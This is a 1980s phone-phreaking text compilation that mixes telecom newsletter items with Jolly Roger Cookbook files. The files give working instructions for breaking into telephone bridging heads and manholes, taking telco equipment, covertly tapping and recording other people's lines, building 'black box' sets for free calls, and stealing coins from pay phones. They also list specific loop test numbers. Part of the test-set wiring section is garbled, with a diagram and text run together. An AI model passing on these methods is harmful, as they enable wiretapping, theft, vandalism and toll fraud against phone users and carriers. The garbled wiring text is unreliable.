The first switching system that was used in the country was called Step
by Step. This was adopted in 1918 by Bell, and until 1978, they had over 53%
of all their exchanges using Step by Step (SxS). This system is known for
it's long, confusing train of switches that are used for its step by step
switching.
Step by Step has many disadvantages to phone users. The switch train
becomes jammed fairly often, and it causes calls to be blocked. Also, SxS
does not allow the use of DTMF dialing. This accounts for some of the areas in
the United States that cannot have touch tone dialing abilities. A tremendous
amount of electricity and maintenance needs to accompany the SxS switching
system, which makes it even more impratical. All in all, this is probably the
most archaic switching system around.
There are a number of ways to see if you are on SxS. You will notice that
there are no pulsing digits after dialing. Most sources say that the phone
company will sound like many typewriters. SxS does not offer features such as
speed calling, call forwarding, three-way calling, call waiting, and other
such services. Pay phones on SxS also will want your money before you receive
a dial tone. This adds to the list of disadvantages labelled to that of the
Step by Step switching systems.
Another type of switching system that is prevalent in the United States
is Crossbar. Crossbar has been Bell's primary switcher after 1960, and three
types of it exists. Number 1 Crossbar (1xB), Number 4 Crossbar (4xB), and the
Number 5 Crossbar (5xB). In Crossbar, a switching matrix is used for all the
phones in an area, and when someone calls, the route is determined and is met
up with the other phone. This matrix is set-up in horizontal and vertical
paths. Unlike other swichting systems, in my research, I could not come up
with any true and definate distinguishing features of the Crossbar switching
systems.
The Electronic Switching System (ESS) is yet another switching system
used in the United States and the most used of all three swicthing systems.
ESS is an extremely advanced and multi-faced type of switching system, and is
feared by marauders of the phone company everywhere. With ESS, your phone
company is able to know every digit dialed (including mistakes), who you call,
when you called, and how long you were connected. ESS is also programmed to
print out the numbers of people who make excessive calls to WATS numbers (800
services) or directory assistance. This feature of ESS is called 800
Exceptional Calling Report, and has spelled the end of some forms of
continuous code hacks to certain extenders. ESS can also be programmed to
print logs of who called and abused certain numbers as well. Everything is
kept track of in its records.
The aforementioned facts show that ESS has made the jobs of organizations
such as the FBI, NSA, and other phone company security forces easier. Tracing
can be done in a matter of microseconds, and the result will be conveniently
printed out on the monitor of a phone company officer. ESS is also programmed
to pick up any "foreign tones" on the phone line such as the many varied tones
emulated by boxes.
ESS can be identified by a few features common in it. The 911 emergency
service is covered in the later versions of ESS. Also, you are given the dial
tone first when using a pay phone unlike that of SxS. Calling services like
call forwarding, speed calling, and call waiting are also common to ESS. One
other feature common to ESS is ANI (Automatic Number Identification) for long
distance calls. As you can see, ESS is basically the zenith of all switching
systems, and it will probably plague the entire country by the early 1990's.
Soon after, we should be looking forward to a system called CLASS. This
switching system will contain the feature of having the number of the person
that is calling you printed out on your phone.
What have I concluded about these switching systems? Well, they are not
good enough. I know a few people employed by the phone company, and I know
for a fact that they do not have enough time these days to worry about code
users, especially in large, metropolitan areas. So, I will go out on a limb
here, and say that a large portion of people will never have to worry about
the horrors of ESS.
] Written by Ye Cap'n
==============================================================================
= New Gizmo Can Change Voice Gender =
==============================================================================
The most amazing device has turned up in the new Hammacher Schlemmer
catalog: the telephone voice gender changer.
What it does is change the pitch of your voice from, say, soprano to bass
-- a most efficient way to dissuade an obscene phone caller just as he's
getting warmed up.
That is not the same as running a 45 r.p.m. record at 33. In digital
conversion, the pitch can be changed without altering the speed.
The device runs on a 9-volt batter and attaches to the telephone mouth
piece with a rubber coupler that takes but a moment to slip on and off.
With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer
technical expert, "the effect is similar to what you hear when they interview
an anonymous woman on television and disguise her voice by deepening it."
"It's better for changing a woman's voice to a man's than the other way
around," Gray said. A man can use it to raise the pitch of his voice, but he
still won't sound like a woman."
A man could, however, use the changer to disguise his voice. But with the
device set on high, Gray's voice still could be identified as his own. On low,
his normal tenor became so gravel like that the words were unintelligible.
] Supplied by Tracker and The Reporter
==============================================================================
We look for information in anyway related to the newsletter. If you have
something of interests, or something that you saw on television, or in the
newspaper, then upload it to one of the boards listed below. You will receive
full credit.
Pirate's Hollow..................................................(415)593-6784
Bates Motel......................................................(619)267-0293
==============================================================================
Brought to you by Exodus in the Cookbook IV !!!!!!!!!!!!!!!!!!
_
##############################################################################
# _________________________________ #
# /he Remote Informer Newsletter! #
# #
#----------------------------------------------------------------------------#
# November TRI Issue: 05 #
#----------------------------------------------------------------------------#
# #
# The Editors: Tracker, Ye Cap'n, Norman Bates, and The Reporter #
# #
##############################################################################
==============================================================================
= AT&T Rates =
==============================================================================
WASHINGTON -- American Telephone & Telegraph Co. proposed Tuesday to
lower its interstate long-distance rates by an average of 3.6 percent to
reflect reduced costs in connecting to the local telephone network.
The largest decrease -- 6.3 percent -- would be seen in day time prices
"because of the need to make those rates more competitive," AT&T said.
Rates for calls made during evening hours would drop 2.2 percent and
calls made during the late night and weekends would be cut by 0.8 percent, the
company said.
The rate reductions would take effect Jan. 1, if they are approved by the
Federal Communications Commission.
Reacting to the proposed price cuts, MCI Communications Corp. and US
Sprint Communications Co., the nation's second-largest and third-largest long
distance companies respectively, said their response would depend on what the
FCC finally approves but both said they intended to remain competitive with
AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC
that its rates drop as much as $800 million, but AT&T said the exact amount
will depend on the access charges the FCC allows the local telephone companies
to collect from long distance carriers, which must pay the fees to hook into
the phone local network.
AT&T has challenged the new access rates filed by the regional Bell
operating companies, contending they are more than $1 billion too high.
In proposing its new rates, the long-distance leader told the FCC it
expects local companies' access fees to fall by at least $200 million -- which
would amount to an average rate reduction of less than 1 percent. But the
company said it believes the FCC will order an additional $600 million in
reductions based on AT&T's challenge.
"We're confident the FCC will recognize that access charges filed by the
local telephone companies need to be substantially reduced, which would mean
more savings for our customers," said Larry Garfinkel, AT&T vice president for
marketing.
He said the company filed its proposed rates based on disputed charges
because "we wanted to let the public react ... and further to let the FCC have
full knowledge of where we were heading given our expectation that we had a
valid basis for our dispute."
AT&T's long-distance rates have fallen by about 34 percent since the
company was stripped of its local operating companies by an antitrust decree
nearly four years ago.
Since then, phone rate payers have been paying a larger share of the costs
of maintaining the local network through monthly subscriber line charges, now
$2.60 for residential customers.
That has reduced the long-distance companies' share of local network
expenses, which they pay in the form of access charges.
Jack Grubman, a telephone analyst with PaineWebber Inc., said AT&T's
proposal targets business customers because "that's where the competition is
and where the better (profit) margins are." In addition, it aims to keep the
pressure on competition in international calling by extending discounts to
more customers. Grubman added that, if the company's rate proposal is approved
by the FCC, he would expect no further cuts in AT&T rates in 1988.
Wendell Lind, AT&T administrator of rates and tariffs, said the cuts for
business and residential customers are about the same because business cuts
are offset by a proposed $128 million increase in AT&T's private line rates.
AT&T is the only long-distance company whose rates are regulated by the
FCC, but its prices set the pace for the industry. Though AT&T is far larger
than any of its competitors, its market share has been declining since
divestiture and the company now says it serves about 75 percent of the market.
In addition to the reductions in basic long-distance rates, AT&T proposed
cutting prices by 5 percent and 5.7 percent for its Pro-America calling plans.
The company also proposed to reduce prices by 2.9 percent for its 800
Service customers and 4.4 percent for WATS customers, although it would
increase the monthly access line charges for those plans by $3.20 to reflect
higher special access charges filed by the local phone companies.
] Supplied by Tracker and The Reporter
==============================================================================
= US Sprint Operator Service Traffic Increases 40% =
= New Center Added In Dallas =
==============================================================================
ORLANDO, Fla. -- US Sprint Wednesday announced its long distance
operators who began saying, "May I help you?" just five months ago, are now
handling 3.5 million calls a month.
The fiber-optic long-distance carrier, offering the only operator service
alternative to AT&T has experienced a 40 percent growth in operator service
calls since it announced its service July 1.
Amanda Weathersby, US Sprint vice president of product marketing, said
Tuesday, "More and more people are taking advantage of our call completion
assistance and alternative billing arrangements.
"Customer surcharges are the same as AT&T with the added benefit of US
Sprint's fiber-optic quality and lower long-distance rates."
US Sprint currently offers person-to-person, station-to-station, call
completion and collect calling. US Sprint has announced an agreement with US
WEST Service Link that will allow anyone to call on US Sprint and charge
their calls to a Regional Bell Operating Co. calling card beginning in first
quarter 1988.
"Previously, our operator service was available only on pre-subscribed
US Sprint phones and recently we added operator assistance for US Sprint FON
CARD customers," Weathersby said.
"With this new agreement, we'll be able to expand our operator service
to markets such as pay phones, hospitals, and hotels/motels."
The newest 24-hour operator service center in Dallas began operations on
Oct. 5. US Sprint's other operator service centers are in: Cherry Hill,
N.J.; Atlanta; Lombard, Ill. and Reno, Nev.
US Sprint is a joint venture of United Telecommunications Inc. of Kansas
City, Mo. and GTE Corp. of Stamford, Conn.
] Supplied by Tracker and The Reporter
==============================================================================
= Pacific Bell Pursuing Calling Card Thief =
==============================================================================
SAN FRANCISCO--(BW)--Pacific Bell is warning consumers to protect their
telephone calling cards like any other credit card in the wake of a series of
frauds by people posing as phone company employees.
A Pacific Bell spokesman says customers in the 213, 805 and 916 area
codes are being victimized by someone who says he is a telephone company
employee investigating calling card fraud. The individual calls people at
home at odd hours, asking for their calling card numbers. He then sells the
numbers to people who use the numbers to make long distance phone calls.
As recently as Monday of this week, 180 long distance calls were billed
to a Sacramento area resident who had given his number to the thief just three
hours earlier.
According to Pacific Bell, this kind of scheme and other forms of calling
card fraud cost telephone customers nationwide half a billion dollars a year.
The company offered these tips to consumers to avoid becoming a victim of
calling card fraud:
Never give your calling card number or personal identification number to
anyone. Any telephone company employee with a legitimate need to know the
number has access to it.
Treat your calling card like any other credit card. Report its loss
immediately by calling the 800 number on the back of the card 800-621-0430.
If you receive a suspicious call regarding your telephone calling card,
report it by calling the 800 number on the back of the card.
If you receive a call from someone claiming to be a telephone company
employee and asking for your calling card number, ask for a name and number to
call back. Then call the local Pacific Bell business office to report the
incident.
One suspect was arrested in Southern California last week by a quick
thinking customer who did just that. Pacific Bell immediately contacted the
local police department. A suspect holding seven stolen calling card numbers
was arrested minutes later.
Pacific Bell and long-distance telephone companies will credit customers
for calling card charges determined to be fraudulent. Pacific Bell is a
subsidiary of Pacific Telesis Group, a diversified telecommunications
corporation based in San Francisco.
] Supplied by Tracker and The Reporter
==============================================================================
We look for information in anyway related to the newsletter. If you have
something of interests, or something that you saw on television, or in the
newspaper, then upload it to one of the boards listed below. You will receive
full credit.
Pirate's Hollow..................................................(415)593-6784
Bates Motel......................................................(619)267-0293
==============================================================================
Brought to you in the Cookbook IV courtesy of Exodus!!!!!!!!!!
_
The Phreaker's Guide to Loop Lines courtesy of the Jolly Roger
A loop is a wonderous device which the telephone company created as test
numbers for telephone repairmen when testing equipment. By matching the
tone of the equipment with the tone of the loop, repairmen can adjust and test
the settings of their telephone equipment.
A loop, basically, consists of two different telephone numbers. Let's
use A and B as an example. Normally if you call A, you will hear a loud
tone (this is a 1004 hz tone), and if you call B, the line will connect, and
will be followed by silence.
This is the format of a loop line. Now, if somebody calls A and someone
else calls B--Viola!--A and B loop together, and one connection is made.
Ma Bell did this so repairmen can communicate with each other without
having to call their own repair office. They can also use them to exchange
programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment
Center". If anyone has any information on these centers please tell me.
Anyway, that is how a loop is constructed. From this information,
anyone can find an actual loop line. Going back to the A and B example,
Note: the tone side and the silent side can be either A or B. Don't be fooled
if the phone company decides to scramble them around to be cute.
As you now know, loops come in pairs of numbers. Usually, right after each
other.
For example: 817-972-1890
and
817-972-1891
Or, to save space, one loop line can be written as 817-972-1890/1.
This is not always true. Sometimes, the pattern is in the tens or hundreds,
and, occaisionally, the numbers are random.
In cities, usually the phone company has set aside a phone number suffix
that loops will be used for. Many different prefixes will correspond
with that one suffix.
In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and
a lot of prefixes match with them to make the number.
For Example: 817-460-1893/4
817-461-1893/4
817-465-1893/4
817-467-1893/4
817-469-1893/4
...are all loops...
or a shorter way to write this is:
817-xxx-1893/4
xxx= 460, 461, 465, 467, 469
Note: You can mix-and-match a popular suffix with other prefixs in a
city, and almost always find other loops or test numbers.
Note: For Houston, the loop suffixes are 1499 and 1799. And for Detroit
it's 9996 and 9997.
When there are a large number of loops with the same prefix format,
chances are that many loops will be inter-locked. Using the above example
of Arlington loops again, (I will write the prefixes to save space) 460, 461,
and 469 are interlocked loops. This means that only one side can be used at
a given time. This is because they are all on the same circuit.
To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be
called because that circuit is being used. Essentialy, interlocked loops
are all the same line, but there are a variety of telephone numbers to access
the line.
Also, if the operator is asked to break in on a busy loop line he/she
will say that the circuit is overloaded, or something along those
lines. This is because Ma Bell has taken the checking equipment off
the line. However, there are still many rarely used loops which can
be verfied and can have emergency calls taken on them.
As you have found out, loops come in many types. Another type of loop is a
filtered loop. These are loop lines that the tel co has put a filter on, so
that normal human voices cannot be heard on either line. However, other
frequencies may be heard. It all depends on what the tel co wants the
loop to be used for. If a loop has gotten to be very popular with the
local population or used frequently for conferences, etc. the tel co may filter
the loop to stop the unwanted "traffic". Usually, the filter will be
removed after a few months, though.
----------------Brought to you by Exodus
_
How Ma Bell Works by the Jolly Roger
In this article, I will first describe the termination,
wiring, and terminal hardware most commonly used in the Bell
system, and I will include section on methods of using them.
-------------
LOCAL NETWORK
-------------
The local telephone network between the central
office/exchange and the telephone subscribers can be briefly
described as follows:
From the central office (or local exchange) of a certain
prefix(es), underground area trunks go to each area that has that
prefix (Usually more than one prefix per area.) At every few
streets or tract areas, the underground cables surface. They then
go to the telephone pole (or back underground, depending on the
area) and then to the subsribers house (or in the case of an
apartment building or mutliline business, to a splitter or distribution
box/panel).
Now that we have the basics, I'll try and go in-depth on the
subject.
------------------
UNDERGROUND CABLES
------------------
These are sometimes inter-office trunks, but usually in a
residential area they are trunk lines that go to bridging heads
or distribution cases. The cables are about 2-3 inches thick
(varies), and are either in a metal or pvc-type pipe (or
similiar). Rarely (maybe not in some remote rural areas) are the
cables just 'alone' in the ground. Instead they are usually in
an underground cement tunnel (resembles a small sewer or stormdrain.)
The manholes are >heavy< and will say 'Bell system' on
them. they can be opened with a 1/2 inch wide crowbar (Hookside)
inserted in the top rectangular hole. There are ladder rungs to
help you climb down. You will see the cable pipes on the wall,
with the blue and white striped one being the inter-office trunk
(at least in my area). The others are local lines, and are
usually marked or color coded. There is almost always a posted
color code chart on the wall, not to mention Telco manuals describing
the cables and terminals, so I need not get into detail.
Also, there is usually some kind of test equipment, and often
Bell test sets are left in there.
--------------
BRIDGING HEADS
--------------
The innocent-looking grayish-green boxes. These can be
either trunk bridges or bridging for residences. The major trunk
bridging heads are usually larger, and they have the 'Western
Electric' logo at the bottom, whereas the normal bridging heads
(which may be different in some areas-depending on the company
you are served by. GTE B.H.'s look slightly different. Also, do
not be fooled by sprinkler boxes!) They can be found in just
about every city.
To open a bridging head: if it is locked (and you're feeling
destructive), put a hammer or crowbar (the same one you used on
the manhole) in the slot above the top hinge of the right door.
Pull hard, and the door will rip off. Very effective! If it isn't
locked (as usual), take a 7/8 inch hex socket and with it, turn
the bolt about 1/8 of a turn to the right (you should hear a
spring release inside). Holding the bolt, turn the handle all the
way to the left and pull out.
To Check for a test-set (which are often left by Bell employees),
go inside - First check for a test-set (which are often left
by Bell employees). There should be a panel of terminals and
wires. Push the panel back about an inch or so, and rotate the
top latch (round with a flat section) downward. Release the
panel and it will fall all the way forward. There is usually a
large amount of wire and extra terminals. The test-sets are
often hidden here, so don't overlook it (Manuals, as well, are
sometimes placed in the head). On the right door is a metal box
of alligator clips. Take a few (Compliments of Bell.). On each
door is a useful little round metal device. (Says 'insert gently'
or' clamp gently - do not overtighten' etc..) On the front of
the disc, you should find two terminals. These are for your test
set. (If you dont have one, dont despair -I'll show you ways to
make basic test sets later in this article).
Hook the ring (-) wire to the 'r' terminal; and the tip (+)
wire to the other. (By the way, an easy way to determine the
correct polarity is with a 1.5v LED. Tap it to the term. pair,
if it doesnt light, switch the poles until it does. When it
lights,find the longer of the two LED poles: This one will be on
the tip wire (+). Behind the disc is a coiled up cord. This
should have two alligator clips on it.. Its very useful, because
you dont have to keep connecting and disconnecting the fone (test
set) itself, and the clips work nicely.
On the terminal board, there should be about 10 screw
terminals per side. Follow the wires, and you can see which
cable pairs are active. Hook the clips to the terminal pair, and
you're set! Dial out if you want, or just listen (If someone's
on theline). Later, I'll show you a way to set up a true 'tap'
that will let the person dial out on his line and receive calls
as normal, and you can listen in the whole time. More about this
later...
On major prefix-area bridging heads, you can see 'local
loops' ,which are two cable pairs (cable pair = ring+tip, a fone
line) that are directly connected to each other on the terminal
board. These 'cheap loops' as they are called, do not work
nearLy as well as the existing ones set up in the switching
hardware at the exchange office. (Try scanning your prefixes'
00xx to 99xx #'s.) The tone sides will announce themselves with
the 1008 hz loop tone, and the hang side will give no response.
The first person should dial the 'hang' side, and the other
person dial the tone side, and the tone should stop if you have
got the right loop.)
If you want to find the number of the line that you're on,
you can either try to decipher the 'bridging log' (or whatever),
which is on the left door. If that doesnt work, you can use the
follwing:
---------------------------
ANI # (Automatic Number ID)
---------------------------
This is a Telco test number that reports to you the number
that youre calling from (It's the same, choppy 'Bell bitch' voice
that you get when you reach a disconnected #)
For the 213 NPA - Dial 1223
408 NPA - Dial 760
914 NPA - Dial 990
These are extremely useful when messing with any kind of line
terminals, house boxes, etc.
Now that we have bridging heads wired, we can go on... (don't
forget to close and latch the box after all... Wouldnt want GE
and Telco people mad, now, would we?)
-------------------------------------
"CANS" - Telephone Distribution Boxes
-------------------------------------
Basically, two types:
1> Large, rectangular silver box at the end of each street.
2> Black, round, or rectangular thing at every telephone pole.
Type 1 - This is the case that takes the underground cable from
the bridge and runs it to the telephone pole cable (The lowest,
largest one on the telephone pole.) The box is always on the
pole nearest the briging head, where the line comes up. Look for
the 'Call before you Dig - Underground cable' stickers..
The case box is hinged, so if you want to climb the pole,
you can open it with no problems. These usually have 2 rows of
terminal sets.
You could try to impersonate a Telco technician and report
the number as 'new active' (giving a fake name and fake report,
etc.) I dont recommend this, and it probably won't (almost
positively won't) work, but this is basically what Telco linemen
do).
Type 2 - This is the splitter box for the group of houses around
the pole (Usually 4 or 5 houses). Use it like I mentioned
before. The terminals (8 or so) will be in 2 horizontal rows of
sets. The extra wires that are just 'hanging there' are
provisions for extra lines to residences (1 extra line per house,
thats why the insane charge for line #3!) If its the box for
your house also, have fun and swap lines with your neighbor!
'Piggyback' them and wreak havoc on the neighborhood (It's
eavesdropping time...) Again, I don't recommend this, and its
difficult to do it correctly. Moving right along...
------------------------------
APARTMENT / BUSINESS MULTILINE
DISTRIBUTION BOXES
------------------------------
Found outside the buliding (most often on the right side,
but not always... Just follow the wire from the telephone pole)
or in the basement. It has a terminal for all the lines in the
building. Use it just like any other termination box as before.
Usually says 'Bell system' or similar. Has up to 20 terminals on
it (usually.) the middle ones are grounds (forget these). The
wires come from the cable to one row (usually the left one), with
the other row of terminals for the other row of terminals for the
building fone wire pairs. The ring (-) wire is usually the top
terminal if the set in the row (1 of 10 or more), and the tip is
in the clamp/screw below it. This can be reversed, but the cable
pair is always terminated one-on-top-of-each- other, not on the
one next to it. (I'm not sure why the other one is there,
probably as aprovision for extra lines) Don't use it though, it
is usually to close to the other terminals, and in my experiences
you get a noisy connection.
Final note: Almost every apartment, business, hotel, or anywhere
there is more than 2 lines this termination lines this
termination method is used. If you can master this type, you can
be in control of many things... Look around in your area for a
building that uses this type, and practice hooking up to the
line, etc.
As an added help,here is the basic 'standard' color-code for
multiline terminals/wiring/etc...
Single line: Red = Ring
Green = Tip
Yellow = Ground *
* (Connected to the ringer coil in individual and bridged
ringer phones (Bell only) Usually connected to the green
(Tip)
Ring (-) = Red
White/Red Stripe
Brown
White/Orange Stripe
Black/Yellow Stripe
Tip (+) = Green (Sometimes
yellow, see above.)
White/Green Stripe
White/Blue Stripe
Blue
Black/White Stripe
Ground = Black
Yellow
----------------------
RESIDENCE TERMINAL BOX
----------------------
Small, gray (can be either a rubber (Pacific Telephone) or hard
plastic (AT & T) housing deal that connects the cable pair from
the splitter box (See type 2, above) on the pole to your house
wiring. Only 2 (or 4, the 2 top terminals are hooked in parallel
with the same line) terminals, and is very easy to use. This can
be used to add more lines to your house or add an external line
outside the house.
---------
TEST SETS
---------
Well, now you can consider yourself a minor expert on the
terminals and wiring of the local telephone network. Now you can
apply it to whatever you want to do.. Here's another helpful
item:
How to make a Basic Test-Set and how to use it to dial out,
eavsdrop, or seriously tap and record line activity.
These are the (usually) orange hand set fones used by Telco
technicians to test lines. To make a very simple one, take any
Bell (or other, but I recommend a good Bell fone like a princess
or a trimline. gte flip fones work excllently, though..) fone and
follow the instructions below.
Note: A 'black box' type fone mod will let you tap into their
line, and with the box o, it's as if you werent there. they can
recieve calls and dial out, and you can be listening the whole
time! very useful. With the box off, you have a normal fone test
set.
Instructions:
A basic black box works well with good results. Take the cover
off the fone to expose the network box (Bell type fones only).
The terminal should have a green wire going to it (orange or
different if touch tone - doesnt matter, its the same thing).
Disconnect the wire and connect it to one pole of an SPST switch.
Connect a piece of wire to the other pole of the switch and
connect it to the terminal. Now take a 10k hm 1/2 watt 10%
resistor and put it between the terminal ad the
terminal, which should have a blue and a white wire going to it
(different for touch tone). It should look like this:
-----Blue wire----------
!
----White wire-----!
!
10k Resistor
!
!
--Green wire-- !----
! !
SPST
What this does in effect is keep the hookswitch / dial pulse
switch (F to RR loop) open while holding the line high with the
resistor. This gives the same voltage effect as if the fone was
'on-hook', while the 10k ohms holds the voltage right above the
'off hook' threshold (around 22 volts or so, as compared to 15-17
or normal off hook 48 volts for normal 'on-hook'), giving
Test Set Version 2.
Another design is similar to the 'type 1' test set (above),
but has some added features:
From >----------------Tip----------------------Ring-----all< audible line activity, and the people (the 'eavesdropees')
can use their fone as normal.
Note that test sets #1 and #2 have true 'black boxes', and can be
used for free calls (see an article about black boxes).
Test Set Version 3
To do test set 3:
Using a trimline (or similar) phone, remove the base and cut
all of the wire leads off except for the red (ring -) and the
green (tip +). Solder alligator clips to the lug. The wire
itself is 'tinsel' wrapped in rayon, and doesnt solder well.
Inside the one handset, remove the light socket (if it has one)
and install a small slide or toggle switch (Radio Shack's microminiature
spst works well). Locate the connection of the ring
and the tip wires on the pc board near where the jack is located
at the bottom of the handset. (The wires are sometimes black or
brow instead of red and green, respectively). Cut the foil and
run 2 pieces of wire to your switch. In parallel with the switch
add a .25 uf 200 VDC capacitor (mylar, silvered mica, ceramic,
not an electrolytic). When the switch is closed, the handset
functions normally. With the switch in the other position, you
can listen without being heard.
Note: To reduce the noise involved in connecting the clips to a
line, add a switch selectable 1000 ohm 1/2 watt resistor in
series with the tip wire. Flip it in circuit when connecting, and
once on the line, flip it off again. (or just use the 'line disconect'
type switch as in the type 2 test set (above)). Also
avoid touching the alligator clips to any metal parts or other
terminals, for i causes static on the line and raises poeple's
suspicions.
---------
RECORDING
---------
If you would like to record any activity, use test set 1 or
2 above (for unattended recording of >all< line activity), or
just any test set if you are going to be there to monitor when
they are dialing, talking, etc.
Place a telephone pickup coil (I recommend the Becoton T-5 TP
coil or equivalent) onto the test set, and put the TP plug into
the mic. jack of any standard tape recorder. Hit play, rec, and
pause. Alternate pause when you want to record (I dont think
anyone should have any difficulty with this at all...)
Well, if you still can't make a test set or you dont have the
parts, there's still hope. Alternate methods:
1> Find a bell test set in a manhole or a bridging head and
'Borrow it indefinately...
2> Test sets can be purchased from:
Techni-Tool
5 Apollo Road
Box 368
Plymouth Meeting PA., 19462
Ask for catalog #28
They are usually $300 - $600, and are supposed to have MF
dialing capability as well as TT dialing. They are also of much
higher quality than the standard bell test sets.
If you would like to learn more about the subjects covered here,
I suggest:
1> Follow Bell trucks and linemen or technicians and ask subtle
questions. also try 611 (repair service) and ask questions..
2> Explore your area for any Bell hardware, and experiment with
it. Don't try something if you are not sure what youre doing,
because you wouldnt want to cause problems, would you?
-----Exodus-----
_
Getting Money out of Pay Phones by the Jolly Roger
I will now share with you my experiences with pay telephones. You will discover
that it is possible to get money from a pay phone with a minimum of effort.
Theory: Most pay phones use four wires for the transmission of data and
codes to the central office. Two of them are used for voice (usually red and
green), one is a ground, and the last is used with the others for the
transmission of codes.
It is with this last wire that you will be working with. On the pay phone that
I usually did this to, it was colored purple, but most likely will be another
color.
What you will do is simply find a pay phone which has exposed wires, such that
one of them can be disconnected and connected at ease without
fear of discovery. You will discover that it is usually a good idea to
have some electrical tape along with you and some tool for cutting this
tape.
Through trial and error, you will disconnect one wire at a time starting with
the wires different than green and red. You do want a dial tone during
this operation.
What you want to disconnect is the wire supplying the codes to the telephone
company so that the pay phone will not get the 'busy' or 'hang-up' command.
Leave this wire disconnected when you discover it.
What will happen: Anytime that someone puts any amount of money into the pay
phone, the deposit will not register with the phone company and it
will be held in the 'temporary' chamber of the pay phone.
Then, (a day later or so) you just code back to the phone, reconnect the wire,
and click the hook a few times and the phone will dump it all out the shute.
(What is happening is that the 'hangup' code that the phone was not
receiving due to the wire being disconnected suddenly gets the code and
dumps its' 'temporary' storage spot.)
You can make a nice amount of money this way, but remember
that a repairman will stop by every few times it is reported broken and
repair it, so check it at least once a day.
Enjoy and have fun.. Many phones I have done this to, and it works
well with each..
-= Exodus =-
_
Computer Based PBX Courtesy of the Jolly Roger
(Originally an Apple ][ file for forgive the upper case!)
TO GET A BETTER UNDERSTANDING OF WHAT A PBX CAN DO, HERE ARE A FEW BASIC
FUNDAMENTALS.THE MODERN PBX IS A COMBINED COMPUTER,MASS STORAGE DEVICE,
AND OF COURSE A SWITCHING SYSTEM THAT CAN:
[1] PRODUCE ITEMIZED,AUTOMATED BILLING PROCEDURES,TO ALLOW THE
IDENTIFICATION AND MANAGEMENT OF TOLL CALLS. [HAHAHA]
[2] COMBINE DAYTIME VOICE GRADE COMMUNICATION CIRCUITS INTO
WIDEBAND DATA CHANNELS FOR NIGHT TIME HIGH SPEED DATA
TRANSFERS.
[3] HANDLES ELECTRONIC MAIL [ INCLUDING OFFICE MEMOS ].
[4] COMBINE VOICE CHANNELS INTO A WIDEBAND AUDIO/VISUAL
CONFERENCE CIRCUIT,WITH THE ABILITY TO XFER AND
CAPTURE SLIDES,FLIPCHARTS,PICTURES OF ANY KIND.
BOTH THE EXTERNAL AND INTERNAL CALLING CAPACITY OF THE PBX SYSTEM MUST BE
CAREFULLY CONSIDERED BECAUSE MANY BUSINESS OPERATIONS RUN A VERY HIGH RATIO
OF INTERNAL STATION TO STATION DIALING AND A LOW CAPACITY SYSTEM WILL NOT
HANDLE THE REQUESTED TRAFFIC LOAD.
A CRITICAL FACTOR IS THE NUMBER OF TRUNKS AND THE CENTRAL OFFICE FACILITIES
THAT ARE USED FOR OUTSIDE CONNECTIONS.ANOTHER IS THE NUMBER OF JUNCTIONS OR
[LINKS] THAT MAKE UP THE INTERNAL CALLING PATHS.
TO UNDERSTAND THE SERVICES AVAILABLE ON A TYPICAL COMPUTER RUN PBX IT IS
NECESSARY TO INTRODUCE THE SUBJECT OF TIME DIVISION SWITCHING.IN A TIME
DIVISION SWITCHING NETWORK ALL CONNECTIONS ARE MADE VIA A SINGLE COMMON BUS
CALLED (OF COURSE) A 'TIME-DIVISION BUS'.EVERY LINE TRUNK THAT REQUIRES A
CONNECTION WITH ANOTHER IS PROVIDED WITH A PORT CIRCUIT.ALL PORT CIRCUITS
HAVE ACCESS TO THE TIME DIVISION BUS THROUGH A TIME DIVISION SWITCH.
[WHEN TWO PORTS REQUKRE CONNECTION,THEIR TIME DIVISION SWITCHES OPERATE AT
A VERY HIGH FREQUENCY (16,000 TIMES PER SECOND).THIS TECHNIQUE,WHICH IS
CALLED 'SPEECH SAMPLING',ALLOWS MANY SIMULTANEOUS CONNECTIONS OVER THE SAME
TIME DIVKSION BUS.EACH CONNECTION IS ASSIGNED A TIME INTERVAL,THE 'TIME SLOT'
,AND THE NUMBER OF TIME SLOTS IDENTIFIES THE NUMBER OF SIMULTANEOUS CONNECTIONS
AMONG PORTS.]
THE NEXT CRITICAL ITEM IS CIRCUIT PACKS.THE SYSTEM ELEMENTS THAT WE WILL BE
DESCRIBING IN FUTURE TUTORIALS [LINES/TRUNKS/SWITCHES,MEMORY AND CONTROL] ARE
CONTAINED ON PLUG IN CIRCUIT PACKS.EACH LINE CIRCUIT PACK CONTAINS A NUMBER
OF LINES,IN EXAMPLE,FOUR.BUT THE ASSIGNMENT OF STATION NUMBERS TO ACTUAL
PHONE LINE CIRCUITS IS FLEXIBLE.
THE SYSTEM MEMORY IS CONTAINED IN CIRCUIT PACKS WHICH PROVIDE THE CALL
PROCESSING FUNCTIONS.THE CIRCUIT PACKS ARE HELD IN SMALL FRAMES CALLED
'CARRIERS'.WITHIN EACH CARRIER,THE CIRCUIT PACKS ARE PLUGGED INTO POSITIONS:
THE 'SLOTS'.EVERY CIRCUIT CAN BE ADDRESSED BY,SAY A FIVE DIGIT NUMBER WHICH
TELLS ITS LOCATION BY CARRIER-SLOT-CIRCUIT.... [STARTING TO GET THE IDEA?]
THERE CAN BE THREE TYPES OF CARRIERS IN A MODERN PBX SYSTEM:
O LINE CARRIERS
O TRUNK CARRIERS
O CONTROL CARRIERS
THE LINE CARRIERS CONTAIN STATION LINES.IN A.T.& T.'S "DIMENSION" MODEL,FOR
EXAMPLE,A TOTAL OF 52 TO 64 LINES ARE PROVIDED.THE TRUNK CARRIERS CONTAIN
SLOTS FOR 16 TRUNK CIRCUIT PACKS.THE CONTROL CARRIER INCLUDES PROCESSOR,
MEMORY,CONTROL CIRCUITRY,DATA CHANNELS FOR ATTENDANT CONSOLE CONTROL AND
TRAFFIC MEASUREMENT OUTPUTS.
PBX SYSTEMS WILL DIRECTLY REFLECT THE TYPES OF SERVICES OFFERED AT THE C.O.
O CCSA
O CCIS
O PICTUREPHONES [SOONER THAN YOU THINK MY PHRIENDS]
COMMON CONTROL SWITCHING ARRANGEMENTS ( CCSA ) PERMIT ANY UNRESTRICTED TELEPHONE
STATION TO CALL ANY OTHET INTERNAL OR EXTERNAL SYSTEM STATION BY USING
THE STANDARD SEVEN DIGIT NUMBER.ALTERNATE ROUTING IS A FEATURE OF CCSA SERVICE
THE INTERFACILITY,ALTERNATE ROUTED CALLING PATHS ARE ACCOMPLISHED AT THE TELEPHONE
